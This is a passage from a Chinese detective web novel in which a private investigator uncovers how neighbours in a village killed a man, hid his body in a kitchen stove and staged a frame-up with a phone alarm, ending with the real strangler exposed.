陈定言抬起手握住他的手腕,试图把他的手扯下去:“职业病了,我从嫌疑犯那里套线索就是这么套的。” “而且我能感觉到你落在下风,因为你好几次都避开我的审问,转移话题了。” 落在下风。 裴宿献这才惊觉自己确实在无意中转移了好几次话题,因为他黔驴技穷,无计可施。 见他沉默,陈定言知道自己抓住了他的把柄,在这次嫌犯审问中夺得了胜利,她顺势把他的手抓下来:“现在我再问你,我用一下我的老伎俩,明天一起去查案怎么样?” 裴宿献甩开她的手,转身就走:“不去。” “你输不起吗?”她双手抱臂,看着他的背影。 他回过头,眼神平静地看着她:“你知道在查案中不能把犯人逼得太紧,怎么现在不懂这个道理了?” “你没见识过疯子,劝你不要尝试,会把自己搭进去的。” 第75章 第75章红衣服 要不是裴宿献走得足够快,陈定言恐怕还得逮住他再和他辩论,推翻他的论点,纠正他的态度。 她耸了耸肩,也从桥上离开。 “还挺有意思的。” 回到事务所后,陈定言还不忘给裴宿献发消息,提醒他下次的结算时间。 【陈定言】:案件结束后我们再仔细聊一聊,刚才我们说好了的,到时候我通知你,约会时间地点你来提出。 她心情很不错。 选择做侦探,就是对找到真相、揭穿漏洞、揭发犯人这些瞬间所感受到的快感有一种着魔似的上瘾。 和裴宿献打回合制审讯比赛让她有相当类似的既视感,尤其是在他眼中看到挫败之色时,她更是浑身通畅。 更重要的是,他是一个好对手,他不会轻易缴械投降,他有着与她不分伯仲的胜负欲。 要是他愿意的话,两人可以一直打持久战,直到其中一方惨败。 …… 陈定言把“约架”事件定好框架后,便开始专心调查那个灶肚藏尸案。 这次案件并没有孟行霄的参与,所以这不是被列在“剧情”中的案子。 也正是因此,她所能获得的线索少而又少。 死者死亡时间、致死原因、行程,这些关键线索她都拿不到,只能靠着邻居几个的证词来做初步的推断。 “真的能找出真相吗?”她自言自语地问了一句。 不在“剧情”中的案件,按照现实来说,是很有可能成为悬案的,现实中悬案多了去了。 其次,她其实已经没有责任继续调查了,她的委托已经算是完成了,因为最初母亲委托她是帮左伯伯家里找到怪异铃声的源头。 然而,她必须找到真相,没有钱拿也必须找到真相,线索少得可怜也该去尝试寻找真相——这种有点疯魔的态度算是她的标志。 次日,她再次来到了左伯伯家里。 这是第四天。 母亲阻止她:“还去呢,你左伯伯他们刚从警局回来,忙得很,别再去搅局了。” 她嬉皮笑脸地转换借口:“我不去查案的,我去找左成冬的。” 母亲冷笑了一声:“呵,我劝你自己小心点。” 已经一只脚踏出门槛的陈定言又转过身来:“妈,你觉得凶手在这些邻居中对吗?” 母亲那手指了指她以示警告:“我什么都没说,你别给我安罪名!胡刚炳得罪的人多了去了,再说左伯伯家里都是老年人,屋子也旧了,谁都能跑进来栽赃陷害。” 陈定言投降:“OK我知道了,我会小心的。” 走出屋外,她却若有所思地停顿了脚步。 母亲不愿意让她去掺和这件事,还说“自己小心点”,一定是有原因的。母亲担心凶手对她出手。 这种担心反而坐实了就连母亲也在怀疑邻居的事实。 陈定言果然装作去找左成冬的样子,在左伯伯家门口没有进去。 “我来找小成,前几天我和他说的那个事,律师事务所那个,我想再跟他聊聊,看看他有没有意愿暑假去事务所帮帮忙长长见识。” 孟婶愣了一下,反应过来:“律师事务所……?那小子,居然不想去吗?” 陈定言糊弄道:“也不是正儿八经的什么合同工,就是去玩一圈,每天帮忙倒倒茶之类的,就是学校里的社会实践那种。” “小成!”孟婶一边扯起嗓子喊左成冬,一边对陈定言道,“你一定要说服小成,他志愿填的可就是法律专业的,这么好的机会不能错过!” 陈定言心想她就是听说左成冬有填法律专业志愿才会用这个借口来找他的。 左成冬下来见她朝他使眼色,就知道她打了坏主意。 他微微叹了口气,懒散地道:“走吧,我们去外面说。” 孟婶在门口叮嘱道:“小言,等会中午我们这里吃饭哈,我把米给你一起淘进去了!” 陈定言回头:“我肯定不让你们扫兴,一定来吃的。” 她拉着左成冬走开一段距离后,左成冬无奈地看着她:“实际上你要的就是这个效果吧?中午去我家吃饭才是最大的目的。” 陈定言并不吝啬夸奖:“你脑袋瓜真的挺灵活的,怪不得都说高三是人生智商巅峰。” 中午,陈定言按照约定带着左成冬回家吃午饭。 孟婶给太奶奶盛好饭,往饭碗里铺满菜,让太奶奶能捧着饭碗到处边走边吃,太奶奶有这种习惯。 左伯伯烦躁地坐下来,拿起筷子:“大家邻居一场,那么多年了知人知面不知心,你也不看看他们这几天看我的眼神!连警察问完话都给我放回来了,说没有嫌疑,他们还一个个在背后评头论足的……” 孟婶打断左伯伯的话头:“这糟心事吃饭的时候就别再说了,你没见两小孩在呢。” 左伯伯冷哼道:“你急什么,这件事小成又不 是不知道,再说他也长大了,该知道这些事了。至于小言,她的工作本来就是弄清楚这些事的。我就要说,这个案子分明是有人要栽赃陷害我们家。” “我早说了我们家应该把门锁换换了,换个智能锁,装个监控,你嫌太贵不舍得换,这下好了,让不怀好意的人进来了。这多半是熟人趁着我和你去田里的时候溜进来把灶重新封了一遍!” 陈定言竖起耳朵听着。 白天有时候只有太奶奶在家,因为左成冬去驾校学车而左伯伯孟婶两人则下地去了,如果按照这个逻辑,确实有可能被有心人潜入厨房——但这条风险太大了,万一家里有人回来了呢? 孟婶此时却不知想起什么,也开始讨论这个话题:“诶,我倒觉得,是18号那天。” 她看向左成冬:“小成你还记得吗?18号那天,你们班里有同学请客谢师宴连同家长都请了,你爸妈不在,我们就去了,只有你太奶奶在家……” 左成冬拿出手机看了看日历:“是19号。” 孟婶赞同:“对对,不是因为18号就是19号!” 陈定言点头:如果都去谢师宴了,熟人知道他们一时半会回不来,倒也算有点机会。 左伯伯还在抱怨:“我们哪会为了一个混蛋去杀人,尤其是我们小成以后还要考法官的,就算是为了小成的未来,我们家里也不可能出杀人犯。” 左成冬沉默扒拉着饭碗中的米饭。 左伯伯越说越大声:“更别说故意把尸体埋在我家里了,我不能把人埋进我田里做肥料?那手机都扔在我家灶膛里了,故意设个闹铃,我是得了失心疯吗?” 孟婶实在听得烦心:“都知道冤枉了,警察也没冤枉咱们啊,不是让我们回来了吗?别人的闲言闲语就随便他们了,别说了,好好吃个饭不行?” 左伯伯又嘟嘟囔囔好一会儿,这才消停了。 吃完饭,他起身去了临时搭起来的煤气灶那儿切西瓜:“这个天气就要吃西瓜。” 太奶奶还在吃饭,她端着饭碗走来走去,转过身的时候,伸出手指向左伯伯站着的地方,嘴角露出微笑:“红衣服,真漂亮啊。” 孟婶脸色一白,看向左伯伯站着的地方:“妈,哪有小妹啊?别说了。” 左成冬抬起头,他看了一眼,却转头看向陈定言。 陈定言好像什么都没注意到,她闷头只管刷手机。 左成冬在桌子下用手碰了碰她的膝盖,示意她抬头看一看。 陈定言若无其事地拼命划手机,左手垂下去,在桌下把左成冬戳戳她膝盖的手挪开。 左成冬有些急了,他顾不了太多,抓住她的手:喂,抬头看一看。 陈定言回握他的手:别急,我知道,你就让我装作不知道。 “你看看这个。”她装作划到了一个合心意的视频,拿给左成冬看。 左成冬的手被她抓着,反应有些迟滞,他配合地凑过去看手机上的视频。 孟婶和左伯伯看向两个脑袋碰脑袋聚精会神刷着手机视频的年轻人,互相看了一眼。 左伯伯穿的是白色老头背心,但背心上因为切西瓜溅了红色的果肉和果汁。 太奶奶所说的“红衣服”就是这件溅了红色西瓜汁的衣服。 而之前太奶奶说过:[小妹今天穿的红衣服,好漂亮啊,这脸都被衬得红光满面了的。] 按照这种逻辑来理解,“红衣服”是溅了血的衣服,“红光满面”就是指脸上溅了血。 陈定言在心里断定:精神不正常的太奶奶很可能目睹了这起杀人案。 第76章 第76章小妹 深夜,左伯伯家屋子后的竹林里阴影幢幢,随着风而摆动。 孟婶睡不着,起来靠着床头板坐着:“你说,陈定言她看出点什么来没有?” 左伯伯也醒了:“你看她反应怎么样?我那时反正是没精力去注意。” 孟婶思忖着道:“她是低着头在看手机,好像没看到。但按理来说不会啊,她不是侦探吗?上次她还对咱妈说的话很在意嘞。” 左伯伯打了个哈欠:“小成呢?” 说到这里,孟婶缓缓叹了一口气:“小成是真的看到了,他脸色有点不太对,我觉得他可能猜到了。只不过后来陈定言让他看手机去了。” 左伯伯用手撑着身体也坐起来:“那你想怎么办?” 孟婶纠结地闭上眼睛:“唉呀这糟心事。你说怎么会被咱妈看到呢?黑布隆冬的,她眼睛还那么好,真是的,造孽啊。” “上次她说那句话的时候,我就知道要捅出篓子来,谁知道你今天又切西瓜……” 左伯伯有些烦躁:“都是我切西瓜的错喽。” 孟婶拿胳膊肘怼了怼他:“说什么呢,这个时候你别钻牛角尖了。” “我在想,是不是真的天道报应不爽?老天让咱妈看到,老天让你切西瓜溅到衣服上……但这报应怎么冲着我们来呢?那个混蛋怎么没有报应呢?” 左伯伯撇了撇嘴:“什么报应,就是没考虑好,当时要是能做得更仔细一点就没有后顾之忧了。这件事,只要别再让别人注意到就好了,我们一律说是妈见到了鬼魂说胡话,谁会去相信一个脑子不正常的老人?” 孟婶反问:“那小成呢?他要是问起我们来,我们怎么解释?” “小成脑子好,心地也正直,我是真担心他想不开……小成是要考法官的人,我们不能拖累他呀。” 左伯伯冷声道:“事都做了,还说什么拖累不拖累的,小成也可以做律师,做律师没有那么多家庭背景要求的。” “唉呀……” 孟婶又是一声长叹。 …… 左成冬也睡不着觉。 他翻来覆去地想事情。他现在不仅担心案子真的是爷爷奶奶做的,而且担心爷爷奶奶会对陈定言动手。 太奶奶是家人,所以爷爷奶奶没对目睹凶案的她动手,他也是家人,爷爷奶奶应该还不至于对他下手。 但是陈定言不一样。 她脑子聪明,是侦探,又是外人。 如果爷爷奶奶选择灭口呢? 左成冬越想越糟糕,连忙发消息给陈定言。 【左成冬】:你明天别来了,还有不要和我爷爷奶奶见面,我怕他们对你下手。 他窝在被窝里,手机屏幕照亮他的脸,突然听到房间外有人在走动,他吓得赶紧关掉手机屏幕。 …… 陈定言还没睡觉,她坐在床上玩手机。 这个时候收到左成冬的那条消息“我怕他们对你下手”,她忍不住笑了出来。 【陈定言】:大概率不是他们杀的人,他们为什么要杀我灭口? 【左成冬】:啊?不是吗? 【陈定言】:你爷爷奶奶都认为你将来要考法官呢,怎么可能给你的家庭背景留下污点?所以他们最多就是从犯协助犯罪。 【左成冬】:默认我将来要考法官……但是这样的话,他们难道不是更加拼死拼活想要瞒住犯罪的事实吗? 陈定言笑得直捶床。 【陈定言】:你笨蛋啊,你就那么不信任你爷爷奶奶吗? 【左成冬】:所有证据都指向他们。上次太奶奶说那句话的时候,奶奶一下子跌坐在地,而且他们一直在向你隐瞒很多事。 他们把尸体藏在灶肚里,故意把手机放在灶膛里,设下关机闹钟,就是为了让所有人以为是被人栽赃陷害的。 【陈定言】:不要担心。“小妹今天穿的红衣服”,杀人的是小妹,不是你爷爷奶奶。 【左成冬】:……怎么可能是我姑姑?她已经死了。 【陈定言】:第一种可能,有人扮成了你姑姑的样子,装神弄鬼吓死者,顺便杀了他。 第二种可能,有人和你姑姑长得很像,杀了死者。 第三种可能,存在另一个“小妹”。 【左成冬】:太奶奶精神不正常,万一她看错了呢?只是随口说了“小妹”呢? 【陈定 言】:不会的,你太奶奶很会认脸,她什么都可能搞错,就是不会搞错脸。 太奶奶很喜欢照片,她偷偷摸摸收集各种照片,甚至从家里的柜子里偷出照片来。 由于左孟萍的照片被家人藏起来了,所以太奶奶翻箱倒柜找到左孟萍的照片后,会认为“小妹”天生是要被藏起来的。她便心地善良地把“小妹”藏在米缸里,藏在沙发底下。 同时,她随身带着一些喜欢的照片,就像那张全家福。看起来她把照片上所有人的脸部抠烂了,只剩下几个洞,实际上这几个洞别有用意。 那天,太奶奶把那张抠了洞的照片举起来,举到眼睛旁边,并不是为了吓唬人,而是为了透过照片上“儿子脸上的洞”看到现实中儿子的脸,透过照片上“儿媳脸上的洞”看到现实中儿媳的脸。 她就这样通过照片把现实和图像联系在一起。 太奶奶对这些照片摸得很熟,就算看不到脸,也能认出这是谁。 所以,“小妹穿了红衣服”那句话,不是太奶奶胡乱安到“小妹”头上的,必定是她看到了“小妹”。 【左成冬】:但是为什么杀人场面会被太奶奶看到?太奶奶一直都待在家里,她不出门的,案发第一现场一定是在我家。 【陈定言】:这个我认同,第一现场一定是在你家,不然也不会选择就近在你家灶肚里埋了,一定会选择更安全的地方埋尸。 【左成冬】:那“小妹”究竟是谁? 陈定言也想问“小妹”究竟是谁。 “小妹”的三种可能,第二种可能稍微小一点,因为要找出一个和左孟萍相像、而且和死者有仇的人还是有点难度的。 如果“小妹”是假扮的,那么男人也可以戴上假发假扮成女鬼,这样一来,嫌犯的性别就不能框得太死。 如果“小妹”只是被叫作小妹,那么又是谁?又为什么会选择在左伯伯家里杀人? 陈定言首先考虑邻居。 既然凶案是在左伯伯家里发生的,而且左伯伯又似乎在包庇、协助对方,那么凶手必然和左伯伯相识。不是亲人,那就大概率是邻居了。 邻居中,谁最有可能是“小妹”? 从身形上来说,关婶,李姐,还有金叔,只是金叔看起来和死者没有仇怨。 …… 陈定言想得头疼,她便先睡觉了。 次日起来,她决定再去一趟左伯伯家里探探虚实,冒着“被灭口”的风险。 左伯伯和孟婶看她的表情有点古怪,孟婶在刨丝瓜皮,她坐在门口,斜着眼睛用余光注意着陈定言的一举一动。 左伯伯则看向太奶奶,太奶奶搬了个凳子坐在屋前空地上,一边摇着扇子。 左成冬从楼上看到陈定言再次出现在他家门口,他急了,跌跌撞撞地从楼上冲下来,似乎他慢一秒,她就会被自家爷爷奶奶合伙灭口。 许叔开着电瓶车从左伯伯家门旁边的石子路上经过,电瓶车后座是戴着草帽的关婶,两人一起下地。 许叔这个八卦大嘴巴看到陈定言,就停下电瓶车来,打趣道:“啊呀小陈又在呀,最近小陈天天来找成冬呢,要不你俩真……” 关婶见丈夫又要胡说八道,她横眉竖目地瞪他:“喂,老许!” 这种事是能胡说的吗?上次人家小孩家长不在还好,现在家长就在门口呢,这一趟胡说不得被揍成饼? 太奶奶鹦鹉学舌地提起嗓子:“喂,老许!” 陈定言心里一震。 小妹……老许…… 她可能知道穿红衣服的“小妹”是谁了。 太奶奶有学人称呼别人的习惯,“小妹”——是因为她听到有人叫那个人“小妹”。 是关香巧,关婶的堂妹。 第77章 第77章合伙 陈定言找了个由头准备去见见关香巧,她觉得事情不太对头。 她向关婶问起关香巧时,关婶却道:“在警察局接受问话呢,还没回来,我也有点担心。” 关香巧作为死者的前妻,被害死了孩子,并且因为死者之前家暴她而患有创伤性关节炎,动机充分。 并且,关香巧这几年一直都住在关婶家里,关婶家距离左伯伯的小竹林很近。 这些种种因素让关香巧成为重要的嫌疑人之一。 当然,根据太奶奶的“小妹穿了红衣服”的证词,也能初步判断可能是关香巧动的手。 就在这时,关婶出去接了一个电话。 接完电话回来,关婶脸上神色复杂:“警察说……小妹她招了,说是她杀的,埋尸也是她做的。” “你说小妹她杀掉那个混蛋我是相信的,但你说小妹要栽赃给其他人,我是不相信的。她不是那样的人。” 陈定言很确定埋尸不是关香巧做的。 关香巧因为被家暴患有创伤性关节炎,她一个人是无法完成运尸、埋尸、砌灶流程的。 邻居中到底谁帮了她?左伯伯和孟婶有份吗?关婶有份吗?李姐有份吗?…… 陈定言告别关婶后,她走在路上,遇到邻居的时候看谁都觉得有嫌疑,看谁都觉得自己会被灭口。 坏了,被左成冬的思想带偏了。 她敲了敲脑壳,让自己不再关注“灭口”这件事。 …… 左成冬的父母终于从外地回来了。 他们听说老家灶肚里被塞了尸体,死者的手机铃声还是被儿子左成冬发现的,心急如焚。 左叔叔让左成冬收拾行李:“别住这儿了,去家里住吧。” 左伯伯对于儿子的行为很鄙夷:“就你那个破家,一年三百六十五天有三百天都不在家的?要是小成高中也住在那个破家,估计从学校回来要饿死。” 左叔叔讽刺地道:“现在他高中也上完了,该自己做饭了。再说了,你们二老都能把家看成这样子,让人直接把死人埋进我家来了,晦气死了。” 左伯伯怒了,扬起声音:“那种混蛋就算被埋在我们家灶台下,我们也不晦气。他就活该在灶台下被火烧,给你妹妹报仇!你这个不孝子又给你妹妹做过什么呢?” 左叔叔也被惹火了:“我没做过什么?我已经在搜集胡刚炳故意纵火骗保险的罪证,准备找时间找律师告他了,我还没做什么?” 左成冬在楼梯间听到了父亲和爷爷的争吵。 他一边听一边录音。 自从“红衣服”线索后,左成冬彻底怀疑上了自家爷爷奶奶,因此也和陈定言统一战线,成为陈定言安插在左家的眼线了。 他把能偷听的对话都录下来,发给陈定言。 【左成冬】:这是我爸和我爷爷争吵的内容。 【陈定言】:辛苦了小间谍。 【左成冬】:我听到我爷爷说,把尸体埋在灶台下,就像象征着胡刚炳死了也不得安生,被灶台里的火烧得痛不欲生。 我真的怀疑就是爷爷把胡刚炳埋进灶台里的,不然哪个凶手会大动干戈地挖开灶台埋尸? 【陈定言】:……我承认你这回推理得还 真有点像样子。 如果不是“埋在灶台下”有特殊的复仇意义的话,直接把尸体埋在竹林里要省事多了,不会露出那么多马脚。 现在左伯伯亲口说了“让胡刚炳在灶台下被火烧”这一切合给左孟萍复仇的线索。 是不是关香巧杀了人、左伯伯把人埋到自家灶台里作为复仇? 陈定言不确定。 她直觉整个作案还缺了很多环节:左伯伯是怎么和关香巧统一战线的?因为太奶奶目击了凶案现场,所以杀人现场一定是在附近,那么关香巧是怎么把死者引到这里来而不让警察发现的? 【左成冬】:我爸让我回另一个家住,我说我得在这里过完暑假,因为你要带我去律师事务所,我用了这个借口,算是以牙还牙吧? 【陈定言】:当然,我拿你当借口去你家晃悠,你当然也可以拿我当借口留下来。 【左成冬】:我真的想知道爷爷奶奶到底做了什么,所以我一定得留下来。你可以帮我一起找出真相吗? 【陈定言】:你也不想想我是谁,真是太小看我了。 …… 根据孟行霄的形容,这几天陈定言“像着魔了一样”天天开车往家跑去查这个案子,连他正在处理的案子都不来打探了。 陈定言的两只耳朵已经听不进去其他声音了,主观性听力到达高峰。 裴勉知在对她说话:“……邻居……” 她听到了“邻居”:“邻居,然后呢?” 裴勉知一听就知道她选择性地听到了她想听的关键词,他无话可说。 这跟在一句话里只能听到“出去玩”的行径有什么区别? 不疯魔不成活,她高度专注的时候废寝忘食,眼睛闪闪发光。 裴勉知无奈地笑了一下,没有打扰她。 没办法,他也只能纵容她全心投入某项事业。 早上起来,陈定言收拾好自己,又开车去左伯伯家附近蹲点了。 警察刚从关婶家离开,是来询问关婶关于关香巧那天的行程的。 警察走后,左邻右舍都在安慰擦眼泪的关婶。 关婶:“小妹命怎么那么苦,明明不是她做的,还要背黑锅……” 李姐:“小妹是不想活了吧,没有活下去的指望了才会把所有罪责揽到自己头上,唉,那姓胡的混蛋害人。” 金叔:“我打包票这事不是小妹做的。真要是小妹做的话,她大大方方就承认自己杀人了呀,她怎么还故意把那手机设个闹铃栽赃别人呢。所以这事儿绝对跟她没关系!” 陈定言不知道从哪里冒出来:“但是金叔,你怎么知道是闹铃的?” 还在七嘴八舌的邻居们安静下来。 目光都投向金叔。 陈定言想着,既然都要质问金叔的,私底下问可能会被灭口,让大家都听到这个质问,反而安全性提高了。 金叔的脸色僵硬了一下:“这不是大家都知道的吗?孟婶告诉我的,我以为你们也都知道,难道你们不知道吗?” 旁边有人小声嘟囔:“我还真不知道,我听说好像是电话铃声。” 左成冬也不知道从哪里冒出来,在陈定言旁边,像两颗春笋一样。 左成冬忍不住问:“你怎么知道是凶手设的闹铃的?警察也没说是凶手定的闹铃,说不定是死者自己定的闹铃。” 金叔变了脸色:“你们这是怀疑我呢!我就是随便猜猜,怎么还都怀疑上我了?” 一边看热闹的许叔插嘴,帮了一把有些尴尬的金叔:“老金不会做这种事的,他以前虽然也在那个混蛋的化纤厂工作,还是个车间主任,但就我所知,他跟胡刚炳没有仇,犯不着去杀人。” 陈定言却不准备放下对金叔的怀疑。 现在可以基本上确定的是:杀人的是关香巧,埋尸的是左伯伯。 但是左伯伯和孟婶年纪都大了,老人哪知道死者用的那款安卓手机是可以设“关机闹铃”的,闹铃绝对不是他们设置的。 设置关机闹铃的到底是关香巧,还是另有其人? 第78章 第78章灭口 当天晚上,金叔就找上了左伯伯。 “我看那个侦探知道了,我们现在怎么办?”金叔抽着一根烟,面露担忧。 左伯伯并不担心,他径直道:“要说就一起说出来,不能让关香巧一个人背锅。” 金叔诧异地抬起眼:“那你家孙子……咋办?这孩子以后要考法官的……” 左伯伯鄙夷地看了他一眼:“我没杀人,只是埋尸而已,说清楚情况,就算小成要考法官也没什么关系——倒是你,我早就想问你了,为什么一直提我家孙子?我都不担心你担心什么?还是说,从一开始你就决定让关香巧一个人担罪?” 金叔取下烟,连忙摆手:“没有的事,我也是就这么问问。” 左伯伯走到窗边:“我想好了,明天我就去警局自首。你去不去?” 金叔用手挠了挠头:“我想想……我想想哈……” …… 【胡刚炳已经好几年没出现在镇子上了。 一个月前,金叔发现胡刚炳的住所后,便回家和邻居聊起来了这件事。 关香巧住在关婶家里,当然也听到了这件事,她的神色看起来有点不太正常。 金叔看出了关香巧的不对劲,主动问她:“我把他引到这里来,我们教训他一下怎么样?” 关香巧沉默了一会儿,答应了。 金叔是外卖员,他接近胡刚炳有自己的一套。他把外卖送到胡刚炳门口,敲门。 胡刚炳打开门,从金叔手里接过外卖塑料袋,意味深长地看了他一眼:“老金?” 金叔以前在胡刚炳的化纤厂里做车间主任,陪笑了几声,手却摸进口袋里拿出手机,用早就设置好的振动闹铃打断两人的对话:“我有个电话啊,你关门吧,咱们下次再聊。” 胡刚炳也没想和这个老熟人说话的意思,他关上门的一瞬间,却听到了在意的对话。 “关香巧……” 听到前妻的名字,胡刚炳下意识觉得对自己不利,他没把门关上,留了一条门缝。 胡刚炳听说最近很多人都在针对他要告他,他要倒要听听到底是怎么回事。 金叔在楼道里接电话,一边往下走一边接电话,走到下个楼道平台时却没有再走下去了,而是就在那个地方自顾自地演着戏。 “她问我有没有认识的金匠,对对……” 金匠? 偷听的胡刚炳眼睛都瞪大了一圈,越发将耳朵紧贴着门缝。 金叔压低声音:“……来源肯定正当啊,她以前是胡老板老婆呢,再傻也要给自己留个后路什么的。” 胡刚炳听到声音小下去,急赤白脸地把门开大了一些。 他似乎听到了前妻藏了私房钱,还疑似是以前从他那里偷的。 他做下一笔投资正缺钱用,自然是急不可耐地几乎变成顺风耳试图偷听到所有细节。 “那我先挂了。”金叔演完了一场戏,开始演下一场戏了,他假装打电话给关香巧。 “小妹,你问我的金匠找到了,赶明儿把你那东西拿出来吧……诶哈哈,是啊,再藏下去,左爷家的竹林明年就要长金笋了……” 胡刚炳两只眼睛都瞪圆了。 关香巧把私房钱藏在别人家竹林里了?他现在总算知道那个女人以前都是怎么从家里偷钱出去了的,该死。 金叔演完两场戏就走了。 胡刚炳看着外卖袋里的麻辣烫,却开始打坏主意。 他五年前拿到的保险金才刚刚够他用,工厂员工事宜、离婚、打官司、上下打点,几乎一点不剩了。 近几年金价一路涨,如果能从前妻那里偷到一点也算一点。再说那本来就是他的钱,他想。 得赶紧趁着关香巧还没把东西挖出来之前,把东西偷了,他想。 天还没黑下来。 在行动之前,金叔突然又后悔了:“就是不知道下次他知道是我们耍他,他会怎么报复我们了。” 关香巧面不改色地磨刀:“今天你别去,这次我本来就准备杀了他。” 金叔慌了:“小妹,你真的要做?这、这可是杀人啊……” 关香巧安抚他道:“什么都是我做的,不关你的事,对不起,利用你设下这个圈套。” 金叔思前想后,最后还是决定陪着关香巧一起去:“那种人死有余辜!” 晚上,两人埋伏在竹林里。 急着去偷 前妻藏起来的金子的胡刚炳想什么就做什么,当天晚上就出发前往左伯伯家后的那片小竹林里。 胡刚炳踏进竹林里,打开手电筒,为了方便寻找私房钱,他还特意带了金属探测器。 就在他准备大干一番的时候,有人从身后一下子捂住了他的嘴! …… 左伯伯睡不着觉,他总觉得屋子后的竹林里好像窸窸窣窣的有声音。 他起身:“我去外面看看,别是贼吧。” 孟婶也醒了:“小心点啊。” 左伯伯下楼,打开门,拿了一根烧火钳,绕到屋子后面,还没走进竹林里,他就隐约看到了里面似乎有手电筒光。 为了不打草惊蛇,他手里提着那根烧火钳放轻脚步走进竹林里。 “噗嗤”“噗嗤” 刀刺入肌肉组织的声音黏腻而沉闷。 胡刚炳已经不会挣扎了,但关香巧依然在一刀一刀地扎着他。 刀拔出来的时候带出血液飞溅,落在她的衣服上、脸上,她眨了眨眼,眼睛里血丝满布。 左伯伯打开手电筒的时候,光亮蔓延开去,便照到了这个场景。 关香巧衣服上溅了血站在手电筒光里。 “关小妹!”左伯伯小声惊呼出声。 此刻,不声不响悄悄溜出来的太奶奶在不远处看到了这一幕,她静静地从竹林里折返回屋了。 见事情败露,关香巧也不瞒了,把事情一五一十地告诉左伯伯,并说自己明天就会去自首。 左伯伯想了想,却道:“为了这么个人渣去坐牢还真不值得,埋了吧,装作什么事都没发生过。” 金叔蹲在尸体旁,眉头紧皱:“不可能就这么埋了完事了,现在警察查手机厉害得很,什么信号基站,位置轨迹,都能查得清清楚楚,只要一查他手机信号最后出现的地方,什么都知道了。” 左伯伯不以为然:“那咱们把手机带走,去其他地方扔了。” 金叔依然摇头:“不行不行,现在村口马路都有监控,回头就能拍到胡刚炳他进了村却没出去,怎么解释?” 关香巧沉默着。 左伯伯问:“那怎么办?” 金叔压低声音:“只有一个法子,别藏得太好,咱们干脆把它搞成是有人故意栽赃的样子。要知道和胡刚炳结仇的人多得是,只要我们是被陷害的受害人,最近又没和胡刚炳有过明面上的联系,就很安全。” 就这样,在金叔的“技术支撑”和左伯伯提出利用自家柴火灶台的“场地支撑”基础上,埋尸行动也开始了。】 …… 金叔依然犹豫:“我再想想。” 左伯伯冷哼道:“这还有什么好犹豫的?坦白从宽,抗拒从严。” 金叔的手揣在口袋里,手里握了一把小巧的折叠式水果刀。 …… 陈定言对某个点一直百思不得其解。 如果金叔也参与其中,那么金叔的动机是什么?热心路人? 她虽然也爱以解谜为主可以弱化动机的本格推理,但她面对的毕竟是活生生的人,她需要考虑他们到底是出于什么心理完成杀人的。 左伯伯,关香巧,他们的动机是复仇没错。 但金叔如果参与其中,他的动机是什么?根据许叔说的,金叔和胡刚炳没有仇。 她不放心,又到处去打听了一下关于金叔的过往。她特意转换场所,不在左邻右舍间打听,而是去了镇子上非法打牌场所打听。 那些聚在打牌室里吞云吐雾的地痞流氓赌鬼给了她不少关于金叔的线索: “他那个人,以前其实是胡刚炳的死党,所以才做了化纤厂的车间主任,后来发生火灾了,他明面上不和胡刚炳来往了,到底私下里来往不来往,咱也不知道。” “你说金标伟啊?别看我们几个是混子,比不上他体面,但我敢打包票,我们流氓反而比他正直,别的邻居都当他是好人,只有我们坏人最了解坏人。” “他鬼点子最多,脑子转得很快。我们几个私底下都说,当年胡刚炳能想出放火烧厂子骗保险金的主意,一定是他在撺掇。” “我听说那个谁不是在搜集证据准备告胡刚炳骗保险了吗?要真是金标伟撺掇的,到时候法庭上胡刚炳肯定会说出来!狗咬狗,可有好戏看喽。” 金叔参与杀人案,不是因为正义感,也不是因为邻里情——而是因为他担心当年纵火烧厂子是他的主意这件事败露,所以提前计划杀掉胡刚炳灭口。 连这次关香巧杀人,都是金叔撺掇的。 并不是金叔“无意间”发现了胡刚炳的住所,而是他故意将这个信息透露给了关香巧。 第79章 第79章我不见得有那个勇气…… 屋里,左伯伯有点不耐烦了:“想好了没有?想好了咱们就一起去,就算你没想好我也得去,到时候你自己跟警察解释。” 金叔见左伯伯依然背对着他一口一口地喝着茶,便从口袋里抽出那把水果刀来。 他的眼里闪过阴险的光芒,手指一动,锋刃从折叠匣中弹出。 正当他扑上前去,准备像那天在竹林里一样故技重施—— “碰” 左伯伯却突然一脚踹翻了那张四仙桌,桌上的茶杯坠落在地,“哐啷”一声,四分五裂。 金叔始料未及,骤然间失去方寸,刀还握在手中,身形顿在原地。 “果然是你,金标伟。”左伯伯退开两三步,冷笑道。 房间门开了,屋外站着好些人。 孟婶,左成冬,包括理应已经回家去的侦探陈定言,以及许叔和关婶。 金叔这才意识到他好像中了圈套,他脸色发白:“你们在演戏给我看?” 左伯伯顺手从屋里拿起一根早就准备好的木头短棍:“你那破事,我们今天下午知道的,赌场那些好兄弟出卖了你。” 许叔冲进来做和事佬:“别动手别动手,咱们已经报警了,待会警察过来就不好看了。” 左伯伯早就忍不住了:“我非打他一顿不可!” 金叔收起水果刀,开始唉声叹气地求饶:“我也没想害人啊,天地良心……我就是帮忙出了个馊主意,把工厂烧了,谁成想那姓胡的能把人烧死了呢?” “别扯这那的,不是你撺掇,关小妹会主动杀人?” “这真不关我的事,我也是帮她把仇报了……” 陈定言插话道:“我就直说了,警察说死者是被掐死的。” 人根本不是关香巧杀的。 她是用刀刺了死者没错,血也溅在她的身上,但是因为当时天色黑,很多刀都没有扎在要害。 胡刚炳一开始被金叔捂住口鼻后,又被掐住了脖子,窒息而死。 听到这里关婶也待不住了:“金标伟你这个天杀的,居然把罪行都推给我小妹!” 屋里混乱成一团。 太奶奶在屋外看热闹,嘴里喃喃地道:“金标伟你这个天杀的……金标伟是天杀的……” …… 陈定言趁乱先走开了。 左成冬跟在她身边,看了一眼时间:“八点十分,已经有点晚了,你今天还要开车回去吗?” 陈定言理所当然地道:“多晚都要回去,不然睡在这里的话,我妈明天一大早就要让我起床,我解决了那么大个案子,当然要好好睡个懒觉。” “我……”左成冬犹豫了一下,“我可以跟你回去吗?” “诶?”她愣住了。 左成冬敏锐地察觉到了她的异样:“你在想什么?你是不是又想起另外一个人了?” 陈定言有些心虚:“没有,怎么会呢?” 左成冬“嘁”了一声,表示怀疑。 她抬起手,超级用力地拍了拍他的肩膀,笑道:“我只是觉得,这个案子能这样结尾真的很好。” 狗咬狗,恶人自食其果。 就连上天都帮了一把关香巧,她大概也不会想到,胡刚炳的死亡原因居然不是被刺死,而是被掐死。 左成冬揉了揉有点被拍疼的肩膀,嘴角翘起来。 陈定言开玩笑道:“你要是考法官,我下次就能给罪犯提供警察律师法官一条龙服务了。” “那今天晚上跟你回去呢?我想看看你的侦探事务所。” 